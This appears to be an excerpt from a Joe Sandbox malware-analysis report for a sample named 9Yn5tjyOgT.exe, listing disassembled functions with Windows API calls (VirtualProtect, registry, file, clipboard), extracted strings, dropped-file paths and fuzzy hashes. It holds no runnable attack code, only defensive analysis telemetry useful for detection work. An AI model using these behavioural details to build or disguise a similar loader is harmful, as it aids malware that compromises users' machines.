Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 738E2993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(738E505C,00000004,00000040,738E504C), ref: 738E29B1

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 913cf32b261e088c3962d5ae7d2a8a1dd01427272a2f5e7ec53e8543fa089962
Instruction ID: a3ae9e5651646a66211963306193a2975d584d487321d3b4e6e23c910325bf41
Opcode Fuzzy Hash: 913cf32b261e088c3962d5ae7d2a8a1dd01427272a2f5e7ec53e8543fa089962
Instruction Fuzzy Hash: 57F092F29C0A80DEC3A0EF6AC4447093BE1B709216B24472AF29CD6281E374C144CB91

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00403480,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00403480,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00403480,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973
C:\Users\user\AppData\Local\Iw, xrefs: 004049A0
Call, xrefs: 004049B1, 004049B6, 004049C1

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$C:\Users\user\AppData\Local\Iw$Call
API String ID: 2624150263-819140515
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Iw\Vehefte190, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Iw\Vehefte190
API String ID: 542301482-1534214271
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
Call, xrefs: 004046FB

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\9Yn5tjyOgT.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 0040667C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00403480,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00403480,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00403480,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682
*?|<>/":, xrefs: 004066CE
"C:\Users\user\Desktop\9Yn5tjyOgT.exe", xrefs: 0040667C

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\9Yn5tjyOgT.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-155059118
